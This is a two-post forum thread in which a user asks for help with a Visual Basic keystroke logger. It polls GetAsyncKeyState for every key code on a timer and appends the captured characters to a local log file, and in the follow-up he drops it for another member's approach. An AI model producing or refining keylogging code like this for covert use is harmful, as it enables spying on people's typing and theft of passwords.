Results 1 to 2 of 2

Thread: Key press api call

  1. #1
    [T3]bill
    Guest

    Key press api call

    Hey guys and gals,

    I was attempting to use this api function to log keystrokes.

    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer

    The documentation says that you pass it an integer (representing the ascii char set, you know, 1 to 256) and it will return true if the key is actually pressed at that moment. That part works. I'm making the event fire with a timer. But you are supposed to be able to check this bit- &H8000 - and if it is set then the key has been pressed since the last check. This part doesn't work and I'm not to sure why. I'm not very familiar with this bit checking thing. It is never set. This is the code that I'm basing my small prog on.
    www.vbapi.com/ The same thing happened with their example too.
    Anyway here is my code and thanks in advance
    Bill


    ' this part is in a module of course
    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer

    'This is code behind my timer event
    Private Sub Timer1_Timer()
    Dim keystate As Integer ' state of the Q key


    For index = 1 To 256
    keystate = GetAsyncKeyState(index)
    ' Check the &H8000 bit of the return value
    If keystate And &H8000 Then
    Text1.Text = Text1.Text + Chr(index)
    If Len(Text1.Text) > 40 Then
    Open "c:\log.log" For Append As #1
    Write #1, Text1.Text
    Close
    Text1.Text = "": Reset

    End If
    End If
    Next index
    End Sub

  2. #2
    [T3]bill
    Guest
    Never mind, i searched the posts and Vlatko had another way to do it, so I'm going to use that.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width